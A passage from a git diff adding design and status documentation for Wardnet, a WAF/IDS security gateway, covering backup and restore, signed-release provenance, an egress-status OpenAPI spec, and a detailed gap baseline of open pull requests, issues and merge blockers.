no rows. + +`GET /api/backup` (admin read) exports a hashed logical snapshot stamped with +the current `MIGRATION_VERSION`. `POST /api/backup` restores after schema-version +and payload-hash checks. Role-only migrations (v3 `wardnet_runtime`) and HASH +layout (v4) do not change the logical snapshot shape, so `verify()` accepts +schema versions `MIN_RESTORABLE_SCHEMA_VERSION` (2) through the current version +rather than rejecting pre-upgrade snapshots. `POST /api/backup/drill` restores into an +isolated tenant, compares invariants, and drops the drill rows. Declared RPO: +last successful export (`on-demand-logical-snapshot`). Declared RTO: 60 seconds. +`/healthz.backup` is `ready` on PostgreSQL. + +National Institute of Standards and Technology. (2010). *Contingency planning +guide for federal information systems* (NIST SP 800-34 rev. 1). +https://doi.org/10.6028/NIST.SP.800-34r1 +(`docs/papers/nist-sp-800-34r1-contingency-planning.pdf`, public domain) + +- **Design impact:** CP-2 / CP-4 — declared RPO/RTO and an automated restore + drill into an isolated environment. The artifact is application-level (not + `pg_dump`) so RLS tenant context is preserved and secrets (admin tokens, + database URL) are never copied. + +`security_event` is HASH-partitioned by `tenant_id` (8 children) so tenant +queries prune and high-volume appends do not share one btree. Existing +unpartitioned tables convert under `pg_advisory_lock`; rows keep unmasked +client IPs and paths. `/healthz.event_partitions` reports the child count. + +Management mutations currently persist one transactionally consistent tenant +snapshot: they replace the tenant's management rows and retained +`security_event` rows, then enqueue one snapshot outbox message. Event ingest +itself remains incremental. This makes an administrative write O(retained +events); operators should keep `EVENT_LIMIT` bounded and monitor transaction +latency. A future measured scaling step is table-specific management upserts +that preserve the same atomic outbox contract. + +Snapshot persist compares `tenant_account.snapshot_version` and fails closed +on a stale token (HTTP 409). Operator restores overwrite the token. + +Remaining: restore-path `snapshot_version` promotion and stale-replica CAS proof. diff --git a/docs/doctoring/signed-release.md b/docs/doctoring/signed-release.md new file mode 100644 index 0000000..306bcc6 --- /dev/null +++ b/docs/doctoring/signed-release.md @@ -0,0 +1,46 @@ +# Doctoring — signed release, SBOM, and provenance + +This note grounds issue #84 remainder (keyless Sigstore signatures and +SBOM/SLSA attestations on the same `vX.Y.Z` tag as checksums/GHCR). +IEEE/ACM PDFs are not redistributed. NIST SP 800-218 is a U.S. government +work and is committed at `docs/papers/nist-sp-800-218-ssdf.pdf`. + +## Adopted standards and literature + +Sigstore. (n.d.). *Cosign documentation*. https://docs.sigstore.dev/cosign/ + +- **Design impact:** The release workflow uses GitHub OIDC (`id-token: write`) + for keyless signing. No long-lived Cosign key is stored. Blobs (binary, + `SHA256SUMS`, SBOMs, image digest file) get `cosign sign-blob` bundles. + The GHCR image is signed by digest (`image@sha256:…`), never by a moving + tag. + +SLSA Project. (2025). *SLSA specification version 1.2*. +https://slsa.dev/spec/v1.2/ + +- **Design impact:** `actions/attest-build-provenance` binds the binary and + the image digest to in-toto SLSA provenance. `actions/attest-sbom` binds + SPDX SBOMs to the same subjects. GitHub Release is created only after + signatures and attestations succeed. + +National Institute of Standards and Technology. (2022). *Secure Software +Development Framework (SSDF) version 1.1* (NIST SP 800-218). +https://doi.org/10.6028/NIST.SP.800-218 +`docs/papers/nist-sp-800-218-ssdf.pdf` + +- **Design impact:** PS.3 / PW.4 — produce integrity evidence (checksums, + SBOM, signatures, provenance) for the shipped artifact. A tag alias is + not promotion authority; operators verify the digest and signatures + (`docs/runbooks/release.md`). + +Anchore. (n.d.). *Syft*. https://github.com/anchore/syft + +- **Design impact:** `scripts/release-sbom.sh` fails closed without Syft and + rejects non-SPDX JSON. Binary and container filesystem SBOMs are both + attached to the GitHub Release. + +## Operator next action + +Tag `vX.Y.Z` from the reviewed merge commit on `main`. After the Release +workflow finishes, verify with the commands in `docs/runbooks/release.md`. +Point Kubernetes at the digest in `IMAGE-DIGEST.txt`, not at `latest`. diff --git a/docs/egress-api-openapi.yaml b/docs/egress-api-openapi.yaml new file mode 100644 index 0000000..9210230 --- /dev/null +++ b/docs/egress-api-openapi.yaml @@ -0,0 +1,82 @@ +openapi: 3.1.0 +info: + title: Wardnet egress boundary API + version: 0.1.0 +paths: + /api/egress: + get: + summary: Read non-secret egress proxy and DNS resolver status + security: [{ AdminToken: [] }] + responses: + '200': + description: Egress boundary status + content: + application/json: + schema: + type: object + additionalProperties: false + required: + - destination_mode + - proxy_auth_configured + - dns_listener_enabled + - cached_host_count + - dns_cache_ttl_seconds + properties: + destination_mode: + type: string + proxy_auth_configured: + type: boolean + dns_listener_enabled: + type: boolean + cached_host_count: + type: integer + minimum: 0 + dns_cache_ttl_seconds: + type: integer + minimum: 0 + '401': { description: Missing or invalid admin credential } + post: + summary: Evaluate and pin a destination under the active policy + security: [{ AdminToken: [] }] + requestBody: + required: true + content: + application/json: + schema: + type: object + additionalProperties: false + required: [url] + properties: + url: { type: string, format: uri } + responses: + '200': + description: Destination allowed, DNS-pinned, persisted and audited + content: + application/json: + schema: + type: object + additionalProperties: false + required: [allowed, host, addresses, reason] + properties: + allowed: + type: boolean + host: + type: string + addresses: + type: array + items: + type: string + reason: + type: string + '400': { description: Structurally invalid destination URL } + '401': { description: Missing or invalid admin credential } + '403': { description: Read-only principal or destination denied } + '503': { description: Destination DNS evaluation unavailable } + '504': { description: Destination DNS evaluation timed out } + '500': { description: Audit persistence failed and was rolled back } +components: + securitySchemes: + AdminToken: + type: apiKey + in: header + name: X-Admin-Token diff --git a/docs/papers/nist-sp-800-218-ssdf.pdf b/docs/papers/nist-sp-800-218-ssdf.pdf new file mode 100644 index 0000000..0158f4e Binary files /dev/null and b/docs/papers/nist-sp-800-218-ssdf.pdf differ diff --git a/docs/papers/nist-sp-800-34r1-contingency-planning.pdf b/docs/papers/nist-sp-800-34r1-contingency-planning.pdf new file mode 100644 index 0000000..38cbc71 Binary files /dev/null and b/docs/papers/nist-sp-800-34r1-contingency-planning.pdf differ diff --git a/docs/papers/nist-sp-800-94-idps-scarfone-mell-2007.pdf b/docs/papers/nist-sp-800-94-idps-scarfone-mell-2007.pdf new file mode 100644 index 0000000..4a6d07d Binary files /dev/null and b/docs/papers/nist-sp-800-94-idps-scarfone-mell-2007.pdf differ diff --git a/docs/product-technical-gap-baseline.md b/docs/product-technical-gap-baseline.md new file mode 100644 index 0000000..93177da --- /dev/null +++ b/docs/product-technical-gap-baseline.md @@ -0,0 +1,358 @@ +# Product and technical gap baseline + +Snapshot date: 2026-08-27T05:53+09:00 (exact-head inventory of open GitHub PRs +and Issues plus operator-perceptible gaps). Update this file on every hourly loop. + +## Current delivery evidence — 2026-08-27T05:53+09:00 + +Protected `main` is `107117634764c901dff540044585d64088fafedb`. The active +organization ruleset `18156473` requires one independent approval, resolved +threads, and its required workflows; repository branch protection additionally +requires strict exact-head `rust`. Code-owner review remains disabled. Git +mergeability, local tests, and stacked-branch success are not protected-main +delivery evidence. + +| PR | Exact head | Base | Current evidence / blocker | +| --- | --- | --- | --- | +| #115 official threat feeds | `7ab2108c53dbd59f1170c09355148cab0cf2e675` | `main` | blocked; review required and exact-head checks required | +| #114 complete Wardnet rename | `95da92339f21236326cdf4fb4aec5c7d0f909406` | `main` | review required; refreshed exact-head Strix required | +| #112 route lifecycle API | `f6b5978c4f61910285d3a997afa9fdfdf2f1fc5f` | `main` | review required; refreshed exact-head Strix required | +| #111 accepted ADR set | `95f27199acc2eef1108598ccb8baa38a87bfe768` | `main` | all exact-head checks green and review thread resolved; one independent approval required | +| #95 in-path Coraza and accumulated production stack | `cc83ded9ddc93ea21ed83d8c89d142fe1b085f7b` | `main` | #105, MCP #117, DNSBL #118/#122, and k6 #119/#121 merged; startup SIGTERM readiness race fixed; refreshed Strix and one independent approval required | +| #94 fail-closed public admin auth | `d7fa9a16a796f17ceb86892ab62390aead0a80c3` | `main` | exact-head review and refreshed Strix required | +| #93 deterministic persistence fault seam | `b38feb94894dc3419a7b31e492d3bba002c1b526` | `main` | stale change request and refreshed Strix required | +| #90 SIEM/OpenTelemetry export | `7a5d2b57444a7190e90a1b679a48a5502b8b8bf9` | `main` | exact-head review/check evidence required | +| #88 LiteLLM virtual-key ingress guard | `cbe21a11ab4e16cb932544f229aa698c9c54b773` | `main` | exact-head review/check evidence required | +| #77 Rust toolchain refresh | `17cca73671125f4dd5b8ce59a60a42f29c0e3d93` | `main` | stale change request; Strix failure | +| #72 external admin secret | `892f9277ba86831a449fa6808a63b44eacab793f` | `main` | stale change request; Strix failure | + +The central Strix live-model repair remains unmerged. Prerequisite +`ContextualWisdomLab/.github#1356` is merged; `#1297` is now at +`1cd261b84edb2a34ec35470647821e44741a3757`. It resolves current NVIDIA +catalog models, retries the authenticated OpenRouter dynamic router on its +provider-scoped transient 502, and retains direct OpenAI as the final +cross-provider fallback. The trusted-main smoke transition passes on this +head; its authoritative model scan and remaining hosted checks are still +running. Only a protected merge and passing consumer exact-head reruns are +acceptance evidence. + +### Surface completion matrix + +| Requested surface | Protected `main` | Active evidence | Acceptance gap | +| --- | --- | --- | --- | +| Web API | implemented | Axum management/SOC APIs and live binary tests | route lifecycle completion remains #112 | +| MCP | absent | #117 merged into #95: authenticated stateless `2026-07-28` Streamable HTTP discovery plus read-only `wardnet_status` tool and protocol/security tests | protected merge plus authenticated deployed-client evidence | +| DNSBL publishing | HTTP zone export only | `/dnsbl/zone`; this stack adds authoritative IPv4 and IPv6 A/TXT and NXDOMAIN over the existing UDP/TCP listener | protected merge and deployed port-53 evidence | +| DNS resolver | absent | unmerged bounded UDP/TCP resolver in #95 | protected merge plus real DNS query evidence | +| Egress proxy | absent | unmerged authenticated CONNECT and destination policy in #95 | protected merge plus end-to-end load/security evidence | +| Ingress reverse proxy | partial | `/gateway/{*path}` decision loop; stacked k6 harness records zero-failure monitored decisions at 32/64 concurrent local users and removes no-op in-memory state clones | headers, streaming/upgrades, trusted client attribution, TLS, arrival-rate capacity and durable/deployed k6 evidence | +| Wardnet naming | incomplete | #114 exact-head rename | protected merge and image/deployment/runtime smoke evidence | + +A durable Wardnet hourly maintenance caller is registered as launchd label +`com.contextualwisdomlab.wardnet-hourly` with `StartInterval=3600`. Its prompt +re-reads repository instructions, product documents, live PR/issue/review/check/ +ruleset state, and this baseline before each loop. The first triggered run +completed on 2026-08-27 with `runs=1` and exit code `0`; registration plus that +successful execution proves the caller is operational. A single local run does +not prove long-term schedule reliability, so subsequent run history and emitted +changes remain operability evidence to retain. + +Commercial contract and `/api/commercial/readiness` remain **2B KRW**. The +**$20 billion USD** figure is the long-loop quality bar for this program, not a +number to rewrite into the readiness API this pass. + +PII policy: **do not mask** client IPs, paths, indicator values, or actor names +on SOC surfaces. Masking blinds incident response. Alternative controls: fail-closed +authentication, RBAC, audit log, credential registry (no secrets in health/support +bundle), encryption-at-rest when PostgreSQL lands, purpose limitation in runbooks. +CSAP/SOC 2 remain uncertified; see `docs/security/compliance-mapping.md`. + +## Historical 2026-08-23 pull-request evidence + +Org ruleset `CWL Central required workflows` (id `18156473`) requires +**two** approving reviews, `require_last_push_approval=true`, and +`required_review_thread_resolution=true`. Code-owner review is disabled +(solo maintainer). This actor (`seonghobae`) cannot satisfy a second +independent human approval on self-authored PRs and cannot bypass the +ruleset (`current_user_can_bypass: never`). That is a **policy blocker**, +not “waiting on review/CI time”. + +| PR | Title | Head | Checks | Reviews | Merge blocker | +| --- | --- | --- | --- | --- | --- | +| [#105](https://github.com/ContextualWisdomLab/wardnet/pull/105) | feat(store): optimistic concurrency on postgres snapshots | `feat/issue-80-optimistic-concurrency` stacked on #99 | Devin still-valid startup-version 409 fixed this pass (`load_postgres` advances `snapshot_version` after save); local fmt/test/clippy + two `/healthz` smokes | Author; Devin COMMENTED (startup false-conflict addressed) | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 first. Do not `--admin`. Do not re-implement HASH/role/backup. | +| [#104](https://github.com/ContextualWisdomLab/wardnet/pull/104) | feat(store): HASH-partition security_event by tenant | merged into rustls stack then #99 | prior hour | Author prior hour | Folded into #99. Do not re-implement. | +| [#103](https://github.com/ContextualWisdomLab/wardnet/pull/103) | feat(store): non-owner PostgreSQL runtime role after migrate | `feat/issue-80-runtime-role` stacked on #100 | still-valid Devin restore-window finding fixed this pass (`MIN_RESTORABLE_SCHEMA_VERSION=2`); local fmt/test/clippy + smokes | Author this pass; Devin COMMENTED (v3 backup voiding addressed) | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 then #100 first. Do not `--admin`. Do not re-implement rustls, outbox, retention, backup, or HASH. | +| [#102](https://github.com/ContextualWisdomLab/wardnet/pull/102) | feat(store): logical backup and isolated restore drill | squash-merged into #100 (`321e792`) | prior hour | Author prior hour | Folded into rustls stack. Do not re-implement. | +| [#101](https://github.com/ContextualWisdomLab/wardnet/pull/101) | feat(store): bound outbox listing and prune processed rows | `feat/issue-81-outbox-retention` (`0c2167a`) stacked on #100 | still-valid Devin prune-cap finding fixed this pass (`EVENT_LIMIT` on save/ack) | Author; Devin COMMENTED (prune thread addressed) | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 then #100 first. Do not `--admin`. | +| [#100](https://github.com/ContextualWisdomLab/wardnet/pull/100) | feat(store): rustls for production PostgreSQL `sslmode=require` | `feat/issue-80-postgres-rustls` stacked on #99 | local fmt/test/clippy + two `/healthz` smokes; live `sslmode=require` fails closed against plaintext postgres | Author this pass | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 then #99 first. Do not `--admin`. Do not re-implement the postgres gate or outbox. | +| [#99](https://github.com/ContextualWisdomLab/wardnet/pull/99) | feat(store): transactional outbox and leased workers | `feat/issue-81-outbox-workers` stacked on #98 | local fmt/test/clippy + two `/healthz` smokes + postgres `/healthz.outbox=ready` prior hour | Author; Devin COMMENTED (unbounded list closed on #101) | Org 2-approval + self-author. Merge #95 then #96 then #97 then #98 first. Do not `--admin`. | +| [#98](https://github.com/ContextualWisdomLab/wardnet/pull/98) | feat(store): require PostgreSQL as the production control plane | `ea621985e276` (`feat/issue-80-postgres-control-plane`) stacked on #97 | rust + fuzz green at last snapshot; Devin 7 threads (full-snapshot rewrite, ORDER BY, TLS, RLS owner, reconnect) | Author this pass; Devin COMMENTED | Org 2-approval + self-author. ORDER BY + incremental event persist on #99; rustls on #100; backup/restore this pass. Remaining non-owner role. Do not `--admin`. | +| [#97](https://github.com/ContextualWisdomLab/wardnet/pull/97) | feat(waf): evaluate live gateway transactions with in-process libcoraza | `feat/issue-86-in-process-libcoraza` stacked on #96 | local fmt/test/clippy + two `/healthz` smokes prior hour | Author this pass | Org 2-approval + self-author. Merge #95 then #96 first. Do not `--admin`. Do not re-implement sidecar or pin. | +| [#96](https://github.com/ContextualWisdomLab/wardnet/pull/96) | feat(security): fail-closed destination policy for outbound HTTP | `7cacaf135179` (`feat/issue-79-destination-policy`) stacked on #95 | rust + fuzz green at last snapshot; remaining Devin threads are info/KV-deviation | Author this pass; Devin/Codex COMMENTED | Org 2-approval + self-author. Merge #95 first. Do not re-implement the TCP-peer pin. | +| [#95](https://github.com/ContextualWisdomLab/wardnet/pull/95) | feat(waf): consult Coraza sidecar on live gateway transactions | `ba9ee3a0b142` (`feat/issue-86-in-path-coraza`) | rust + Security Scan green at last snapshot | Author this pass; Devin/Codex COMMENTED | Org 2-approval + self-author. Do not re-implement sidecar slice. | +| [#94](https://github.com/ContextualWisdomLab/wardnet/pull/94) | fix(auth): fail closed without write-capable admin on public bind | `f31d960a0b52` (`fix/issue-78-fail-closed-credentials`) | Checks re-ran after readiness-order fix | Author `seonghobae`; Devin COMMENTED | Org 2-approval + self-author. Do not `--admin` merge. Do not re-implement #78. | +| [#93](https://github.com/ContextualWisdomLab/wardnet/pull/93) | test(persistence): replace permission-based fault injection with a deterministic seam | `f77eb69748ec` | rust + Security Scan green; **strix FAILURE** (org LiteLLM provider `openai-direct/gpt-5.6-luna`) | Author `seonghobae`; Devin COMMENTED | strix org-provider FAILURE + 2-approval + self-author. Do not rotate review-agent keys. | +| [#92](https://github.com/ContextualWisdomLab/wardnet/pull/92) | build(deps): bump github/codeql-action/upload-sarif from 4.37.6 to 4.37.7 | dependabot `17277d78d5e1` | All green. `--auto` squash already enabled. | Maintainer APPROVED (1 of 2). | **Second independent APPROVE missing**. `gh pr merge` rejected by ruleset 18156473. | +| [#91](https://github.com/ContextualWisdomLab/wardnet/pull/91) | build(deps): bump futures-util from 0.3.33 to 0.3.34 | dependabot `c4662caebfa1` | All green. `--auto` squash already enabled. | Maintainer APPROVED (1 of 2). | Same as #92: second independent APPROVE missing. | +| [#90](https://github.com/ContextualWisdomLab/wardnet/pull/90) | feat(observability): export Wardnet events to SIEM and OpenTelemetry | `40f11b93a972` | All green (35). | Author `seonghobae`; CodeRabbit/Devin/GHAS COMMENTED. **0 unresolved threads** on exact head. | Org 2-approval + self-author. | +| [#88](https://github.com/ContextualWisdomLab/wardnet/pull/88) | feat(security): reject non-LiteLLM credentials before upstream | `41b21cfe2168` | All green (35). | Author `seonghobae`; CodeRabbit COMMENTED. **0 unresolved threads** on exact head. | Org 2-approval + self-author. | +| [#77](https://github.com/ContextualWisdomLab/wardnet/pull/77) | build(rust): pin and track Rust 1.97.1 | `a13c08656177` | rust green; **strix FAILURE**. Same org-provider fail-closed as #93. | Author `seonghobae`; Devin COMMENTED. | strix org-provider FAILURE + 2-approval + self-author. | +| [#76](https://github.com/ContextualWisdomLab/wardnet/pull/76) | feat(ai): delegate SOC analysis to adaptive orchestration | `1cc492775d26` | All green (35). | Author `seonghobae`; CodeRabbit COMMENTED; opencode DISMISSED. **0 unresolved threads**. | Org 2-approval + self-author. | +| [#72](https://github.com/ContextualWisdomLab/wardnet/pull/72) | fix(deploy): require externally provisioned admin secret | `6881f4799188` | rust/coverage-evidence/opencode-review **success**; **strix FAILURE** (org provider). **0 unresolved threads**. | Latest opencode-agent **CHANGES_REQUESTED** was on `5fd9e2ba`, not this head. | Sticky `CHANGES_REQUESTED` + 2-approval + self-author + strix org-provider FAILURE. | + +Dependabot #91 and #92 remain auto-merge enabled; `gh pr merge` was rejected +by ruleset `18156473` (not by failing Checks). Do not `--admin` merge. + +## Then-open issues + +| Issue | Title | Priority | +| --- | --- | --- | +| [#89](https://github.com/ContextualWisdomLab/wardnet/issues/89) | Fail closed on invalid LiteLLM Virtual Keys and preserve safe upstream auth headers | medium | +| [#87](https://github.com/ContextualWisdomLab/wardnet/issues/87) | [Production readiness] Close the evidence-backed Wardnet production gate | medium | +| [#86](https://github.com/ContextualWisdomLab/wardnet/issues/86) | [P0] Put proven WAF/IDS engines in the enforcement path and publish detection-quality evidence | **critical — in-process + sidecar slices shipped, unmerged** | +| [#85](https://github.com/ContextualWisdomLab/wardnet/issues/85) | [P1] Establish production telemetry, SLOs, incident response, and disaster-recovery evidence | high | +| [#84](https://github.com/ContextualWisdomLab/wardnet/issues/84) | [P1] Build an immutable signed release, promotion, and rollback pipeline | high | +| [#83](https://github.com/ContextualWisdomLab/wardnet/issues/83) | [P1] Add bounded distributed admission control, trusted client attribution, and overload behavior | high | +| [#82](https://github.com/ContextualWisdomLab/wardnet/issues/82) | [P1] Integrate Keyverse identity, tenant authorization, consent, and human approval evidence | high (blocked) | +| [#81](https://github.com/ContextualWisdomLab/wardnet/issues/81) | [P0] Add a transactional outbox and idempotent leased workers for external effects | **critical — first slice on #99; retention on #101; TAXII/Clearfolio/orchestrator consumers this pass** | +| [#80](https://github.com/ContextualWisdomLab/wardnet/issues/80) | [P0] Add an authoritative PostgreSQL control plane with tenant isolation and recoverable migrations | **critical — gate on #98; rustls/backup/role/HASH on #99; OCC on #105** | +| [#79](https://github.com/ContextualWisdomLab/wardnet/issues/79) | [P0] Enforce a fail-closed destination policy for all outbound traffic | **critical — closed in runtime on #96** | +| [#78](https://github.com/ContextualWisdomLab/wardnet/issues/78) | [P0] Fail closed when management credentials are absent | **critical — closed in runtime on #94** | +| [#75](https://github.com/ContextualWisdomLab/wardnet/issues/75) | Rename Kubernetes manifest to wardnet.yaml after external-secret hardening lands | medium | +| [#74](https://github.com/ContextualWisdomLab/wardnet/issues/74) | Make persistence failure tests deterministic across root and constrained filesystems | medium (PR #93) | +| [#38](https://github.com/ContextualWisdomLab/wardnet/issues/38) | AI SOC: quarantine-sandbox malware analysis for attachment/link lures | medium (blocked) | +| [#11](https://github.com/ContextualWisdomLab/wardnet/issues/11) | 서버를 켜고 Strix가 포트를 향해 각종 공격을 할 때 감지해내야 함 (CI) | medium | + +## Operator-perceptible product / technical gaps + +### Crate / repo name split + +GitHub repo and product name are **wardnet**. Cargo package and process log +still say `waf-ids-ai-soc`. Kubernetes manifest remains +`deploy/kubernetes/waf-ids-ai-soc.yaml` (issue #75 waits on #72). Cheap alias +this pass: docs and health copy already mention Wardnet in newer surfaces; +wholesale crate rename is deferred (not a merge blocker). + +### Proven-engine enforcement (issue #86) — **in-process libcoraza shipped, unmerged** + +Coraza/Suricata ingest still maps proven-engine hits into DNSBL + threat +indicators. PR #95 consults a Coraza sidecar on each live `/gateway` +transaction when `CORAZA_WAF_URL` is set. PR #97 `dlopen`s operator-supplied +libcoraza (`CORAZA_LIB_PATH` + `CORAZA_RULES_PATH` and/or `CORAZA_DIRECTIVES`) +and evaluates the same live transactions through the libcoraza C ABI +(`src/coraza_inprocess.rs`). In-process wins over sidecar when both are set. +Missing library, missing rules, or an empty ruleset fail startup before bind. +`GET /api/waf/engine-status` and `/healthz.proven_engine` report +`coraza_in_process` / `coraza_sidecar` / `ingest_hints_only`. Do not re-implement. + +### Identity (issue #82, Keyverse) + +Management auth is shared secrets (`X-Admin-Token`) plus optional multi-token +RBAC. Keyverse (OIDC/SCIM/FIDO2) is not wired. Fail-closed (#78) is the +prerequisite shipped on PR #94. + +### Durable control plane (issue #80) — **production gate on #98; rustls on #100; backup on #102; runtime role on #103; HASH this pass** + +PostgreSQL is required for non-loopback binds (`CONTROL_PLANE_DATABASE_URL`). +`src/control_plane.rs` migrates 3NF two-word tables with default-deny RLS +(`FORCE ROW LEVEL SECURITY`, `wardnet.tenant_id`). Snapshot persist is one +transaction. JSON file / memory remain loopback/community only. +`/healthz.persistence` is `postgres` | `file` | `memory`. `sslmode=require` +/ `verify-ca` / `verify-full` use rustls with Mozilla roots (certificates +always verified; stricter than libpq `require`). `allow` / `prefer` are +rejected. `GET /api/backup` exports a hashed logical snapshot; `POST /api/backup` +restores after schema and payload-hash checks; `POST /api/backup/drill` restores +into an isolated tenant, compares unmasked invariants, and drops the drill +tenant. Declared RPO: last successful export. Declared RTO: 60s. +`/healthz.backup` is `ready` on PostgreSQL, `disabled` on file/memory. +Runtime is `wardnet_runtime` (NOSUPERUSER, NOBYPASSRLS) after migrate. +Logical restore accepts schema 2 through the current migration version +(`MIN_RESTORABLE_SCHEMA_VERSION`); role-only and HASH-layout migrations do not +void pre-upgrade snapshots. `security_event` is `PARTITION BY HASH (tenant_id)` +with 8 children. Unpartitioned tables convert in place under `pg_advisory_lock`. +`/healthz.event_partitions` is 8 on PostgreSQL, 0 on file/memory. Client IPs +and paths stay unmasked across convert. Optimistic concurrency is on #105 +(`tenant_account.snapshot_version`, HTTP 409; startup save now advances the +in-memory token). Physical/PITR backups stay a DBA concern. + +### Transactional outbox (issue #81) — **first slice on #99; retention on #101** + +On the PostgreSQL authority, security events append (`security_event` + +`outbox_message`) in one transaction instead of rewriting every table. +Policy snapshots enqueue `policy.snapshot_replaced`. A leased worker claims +with `FOR UPDATE SKIP LOCKED`, retries with bounded exponential backoff, +dead-letters permanent/exhausted failures, and records unique receipts. +Stdout SIEM export is **at-least-once**; the receipt is the exactly-once ack. +Operator-visible: `/healthz.outbox` (`ready`|`disabled`), pending/leased/ +dead-letter counts, `GET /api/outbox` (admin read), `POST /api/outbox/{id}/replay` +(admin write + audit). Client IPs and paths in payloads are not masked. +File/memory adapters stay `outbox=disabled` with in-process stdout. `GET /api/outbox` +is bounded to `EVENT_LIMIT`; processed rows prune to that cap on append, snapshot +save, and worker ack; dead letters stay. TAXII poll, Clearfolio submit, and +contextual-orchestrator analysis enqueue on PostgreSQL (`taxii.collection_polled`, +`clearfolio.document_submitted`, `soc.analysis_requested`) and return HTTP 202. +`GET /api/outbox/{id}` returns receipt evidence. Secrets never enter payloads +(`taxii_bearer` / `soc_llm_token` in the credential registry). File/memory stays +synchronous. LLM analysis is advisory and never auto-enforces. Client IPs, paths, +and indicator values stay unmasked. + +### Fail-closed credentials (issue #78) — **closed on PR #94** + +Shipped on `fix/issue-78-fail-closed-credentials`. Do not re-implement. + +### Destination policy (issue #79) — **closed on PR #96 (review-hardening)** + +Shipped in `src/destination.rs` including the TCP-peer pin. Do not re-implement +the pin. Remaining: Kubernetes NetworkPolicy examples as defense in depth. +Production sidecar URLs on loopback/private require a narrow +`destination_allowlist` CIDR (hostname entries do not exempt denied address +classes) and are validated before bind. In-process libcoraza does not need an +outbound exception. + +### SIEM / OpenTelemetry (issue #85 / PR #90) + +`/api/events.ndjson` and stdout JSON lines exist on main. Full exporter binary +and OTel sit on PR #90, blocked by the 2-approval ruleset. The #81 worker now +replays `security_event.recorded` as stdout SIEM with receipts. + +### UI-UX / Storybook / Figma + +| Item | Status | +| --- | --- | +| Design tokens | CSS custom properties in `ADMIN_HTML`; documented in `docs/design-system.md` | +| Figma design file | `QTH5UuU0FJv2VyM2xb02Fp` — ADR 0001 | +| FigJam architecture | `JExziD87eUWKLERECUGhWQ` | +| Figma Code Connect | Not used | +| Ten UI-UX areas | Inventoried in `docs/ui-ux/storybook-scene-inventory.md` | +| Node Storybook | **Not hosted in `/admin`** (embedded-console architecture). File:// inventory is the scene/edge-case contract this pass. | +| Outbox card | Embedded `/admin` Outbox section | +| Backup card | Embedded `/admin` Control-plane backup section | +| Event partitions KPI | Embedded `/admin` KPI tile from `/healthz.event_partitions` this pass | + +### CSAP / SOC 2 vs PII unmasking + +No certification claim. Compliance map lists SSDLC, access control, audit, +availability gaps (signed releases, SSO, HA storage). PII masking would stop +SOC work; we do not ship it. Controls: authn/z, audit, secret hygiene, +future encryption-at-rest. + +### Coverage / docstring bar + +The 100% line/branch/docstring requirement is **not achieved**. An exact local +`cargo llvm-cov --locked --workspace --all-features --summary-only +--fail-under-lines 100` run on 2026-08-27 measured 76.30% lines and 71.18% +functions; LLVM emitted no branch metric. The largest measured gap is +`src/control_plane.rs` at 15.91% lines. Current hosted `coverage-source-tree` +and `coverage-evidence` successes therefore do not prove source coverage. +Acceptance requires a real CI `cargo llvm-cov` gate, measured branch coverage, +and a separate public-item documentation coverage audit; adding a failing 100% +gate before closing the existing gaps would only make every PR permanently red. + +### Ecosystem connectors (leverage order) + +1. **keyverse** — identity for management plane (#82). +2. **contextual-orchestrator** — SOC LLM optional via `SOC_LLM_BASE_URL`; + token from credential registry (`soc_llm_token`). Same outbox contract on + PostgreSQL this pass. Do not fork routing. +3. **naruon** / **clearfolio** — document viewer already optional. +4. **TEPP / RankWeave / ThreadWeave / LineageWeave / disksage / fast-mlsirm** — + not on the gateway data path; no connector this pass. + +## This loop’s shipped gap + +Authoritative DNSBL serving (stacked on PR #95): the existing bounded UDP/TCP +listener now intercepts names under `DNSBL_ORIGIN`, decodes RFC 5782 reversed +IPv4 octets and RFC 3596 reversed IPv6 nibbles, validates persisted entries, +applies exact/CIDR matching, and +returns authoritative A/TXT records with per-entry TTLs. Unlisted, malformed, +and apex names return authoritative `NXDOMAIN` without recursive leakage; +NXDOMAIN and NODATA carry an RFC 2308 SOA for negative caching. +Focused tests exercise content, range membership, malformed inputs, and real +UDP/TCP server exchanges. Deployed port-53 evidence remains open. + +MCP surface ([#117](https://github.com/ContextualWisdomLab/wardnet/pull/117), merged into PR #95): `POST /mcp` implements the stable stateless +MCP `2026-07-28` contract with `server/discover`, deterministic cacheable +`tools/list`, `tools/call`, and `ping`. The read-only `wardnet_status` tool +reuses the support-bundle read model rather than duplicating control-plane +logic. Authentication, browser-Origin rejection, dual Accept negotiation, +request-id validation, current protocol metadata, and `Mcp-Method`/`Mcp-Name` +header-body agreement fail closed. Driving tests are the eleven `mcp_*` tests +in `src/lib.rs`. Focused loopback k6 evidence: 10 VUs for 10 seconds, 4,992 +successful calls, 0 HTTP failures, 495.9 requests/s, 19.55 ms mean and 107.79 ms +p95. Protected-main and deployed-client evidence remain open. + +Issue **#86** slice review-hardening (PR #95): forwarded-header allowlist to +the engine (`host`/`user-agent`/`accept`/`content-type`/`referer`/`origin`/ +`x-requested-with`/`x-forwarded-for`/`x-real-ip`; never bearer credentials such +as `Authorization` or `Cookie`; 32 headers / 8 KiB caps), 1 MiB streamed response cap, +explicit status contract (non-empty 2xx audit parse, 403 interruption fallback, +empty/malformed or every other status `Unavailable`), `engine_hit` evidence on monitor-mode routes and +sub-threshold hits, explicit-interruption-only live blocking, and +`engine_unavailable` events for fail-open outages. +Redirects were already disabled on the shared outbound client. Redistributable +NIST SP 800-94 PDF committed to `docs/papers/` and cited in doctoring. + +Issue **#86** slice: in-path Coraza sidecar adapter on live `/gateway` +transactions (branch `feat/issue-86-in-path-coraza`, not stacked onto PR #94 +after that PR was restored to issue-#78-only scope). Operator-visible: +`GET /api/waf/engine-status` reports whether CRS is in the request path; a +sidecar interrupt blocks the **current** request (not only a later client +matching ingest hints). #78 remains on PR #94; #79 destination policy was +unscoped from #94 and was not re-implemented here. + +Issue **#79** TCP-peer pin on PR #96 (still unmerged; policy blocks). After +`outbound_client` allows a host, reqwest DNS returns only those evaluated +addresses so a rebinding answer cannot reach loopback/private/metadata. +Operator-visible: `/healthz.destination_mode` plus pin tests +`proxy_request_connects_to_pinned_policy_addresses` (real `proxy_request` to +`pin-test.invalid` mapped to a local listener) and +`outbound_http_fails_closed_without_a_preauthorized_pin`. Issue #78 remains on +PR #94. #86 sidecar remains on PR #95 — do not re-implement those slices. + +Issue **#86** in-process libcoraza remainder 